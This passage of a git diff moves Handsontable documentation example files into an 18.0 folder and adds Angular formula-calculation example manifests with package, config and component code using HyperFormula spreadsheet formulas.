runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example6.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example6.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example6.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example7.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example7.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example7.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example8.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example8.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example8.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example8.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example6.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example6.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example6.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example7.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example7.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example7.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example8.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example8.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__vue__example8.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__vue__example8.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__loading__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__loading__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__loading__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__notification__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__notification__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__notification__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example1.ts.json new file mode 100644 index 00000000..6f812858 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport {HyperFormula} from 'hyperformula';\n\n@Component({\n selector: 'app-example1',\n template: `\n

Sheet 1

\n \n \n\n

Sheet 2

\n \n \n `,\n styles: `\n h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n // create an external HyperFormula instance\n readonly hyperformulaInstance = HyperFormula.buildEmpty({\n // to use an external HyperFormula instance,\n // initialize it with the `'internal-use-in-handsontable'` license key\n licenseKey: 'internal-use-in-handsontable',\n });\n\n readonly hotData1 = [\n ['10.26', null, 'Sum', '=SUM(A:A)'],\n ['20.12', null, 'Average', '=AVERAGE(A:A)'],\n ['30.01', null, 'Median', '=MEDIAN(A:A)'],\n ['40.29', null, 'MAX', '=MAX(A:A)'],\n ['50.18', null, 'MIN', '=MIN(A1:A5)'],\n ];\n\n readonly hotSettings1: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: this.hyperformulaInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n\n readonly hotData2 = [\n ['Is A1 in Sheet1 > 10?', '=IF(Sheet1!A1>10,\"TRUE\",\"FALSE\")'],\n ['Is A:A in Sheet > 150?', '=IF(SUM(Sheet1!A:A)>150,\"TRUE\",\"FALSE\")'],\n ['How many blank cells are in the Sheet1?', '=COUNTBLANK(Sheet1!A1:D5)'],\n ['Generate a random number', '=RAND()'],\n ['Number of sheets in this workbook', '=SHEETS()'],\n ];\n\n readonly hotSettings2: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: this.hyperformulaInstance,\n sheetName: 'Sheet2',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example1.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example2.ts.json new file mode 100644 index 00000000..27a5128d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Data grid example (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport {HyperFormula} from 'hyperformula';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['150', '643', '0.32', '11', '=A1*(B1*C1)+D1'],\n ['172', '474', '0.51', '11', '=A2*(B2*C2)+D2'],\n ['188', '371', '0.59', '11', '=A3*(B3*C3)+D3'],\n ['162', '731', '0.21', '10', '=A4*(B4*C4)+D4'],\n ['133', '682', '0.81', '9', '=A5*(B5*C5)+D5'],\n ['87', '553', '0.66', '10', '=A6*(B6*C6)+D6'],\n ['26', '592', '0.62', '11', '=A7*(B7*C7)+D7'],\n ['110', '461', '0.73', '9', '=A8*(B8*C8)+D8'],\n ['50', '346', '0.52', '15', '=A9*(B9*C9)+D9'],\n ['160', '423', '0.82', '11', '=A10*(B10*C10)+D10'],\n ['30', '216', '0.26', '9', '=A11*(B11*C11)+D11'],\n ['39', '473', '0.44', '5', '=A12*(B12*C12)+D12'],\n ['96', '490', '0.43', '5', '=A13*(B13*C13)+D13'],\n ['108', '176', '0.71', '7', '=A14*(B14*C14)+D14'],\n ['46', '586', '0.01', '14', '=A15*(B15*C15)+D15'],\n ['97', '514', '0.7', '14', '=A16*(B16*C16)+D16'],\n ['161', '717', '0.01', '13', '=A17*(B17*C17)+D17'],\n ['58', '123', '0.4', '8', '=A18*(B18*C18)+D18'],\n ['92', '739', '0.76', '14', '=A19*(B19*C19)+D19'],\n ['5', '320', '0.52', '13', '=A20*(B20*C20)+D20'],\n ['158', '480', '0.65', '5', '=A21*(B21*C21)+D21'],\n ['121', '373', '0.66', '8', '=A22*(B22*C22)+D22'],\n ['61', '704', '0.95', '7', '=A23*(B23*C23)+D23'],\n ['155', '452', '0.71', '10', '=A24*(B24*C24)+D24'],\n ['162', '693', '0.73', '11', '=A25*(B25*C25)+D25'],\n ['46', '75', '0.14', '15', '=A26*(B26*C26)+D26'],\n ['47', '691', '0.58', '15', '=A27*(B27*C27)+D27'],\n ['104', '346', '0.04', '7', '=A28*(B28*C28)+D28'],\n ['101', '717', '0.87', '5', '=A29*(B29*C29)+D29'],\n ['150', '487', '0.26', '15', '=A30*(B30*C30)+D30'],\n ['42', '465', '0.09', '14', '=A31*(B31*C31)+D31'],\n ['144', '337', '0.72', '7', '=A32*(B32*C32)+D32'],\n ['195', '138', '0.3', '6', '=A33*(B33*C33)+D33'],\n ['199', '717', '0.16', '6', '=A34*(B34*C34)+D34'],\n ['110', '236', '0.91', '9', '=A35*(B35*C35)+D35'],\n ['51', '351', '0.81', '13', '=A36*(B36*C36)+D36'],\n ['69', '221', '0.64', '9', '=A37*(B37*C37)+D37'],\n ['53', '125', '0.28', '12', '=A38*(B38*C38)+D38'],\n ['168', '428', '0.68', '9', '=A39*(B39*C39)+D39'],\n ['58', '361', '0.36', '5', '=A40*(B40*C40)+D40'],\n ['152', '213', '0.13', '13', '=A41*(B41*C41)+D41'],\n ['66', '431', '0.93', '10', '=A42*(B42*C42)+D42'],\n ['112', '108', '0.5', '14', 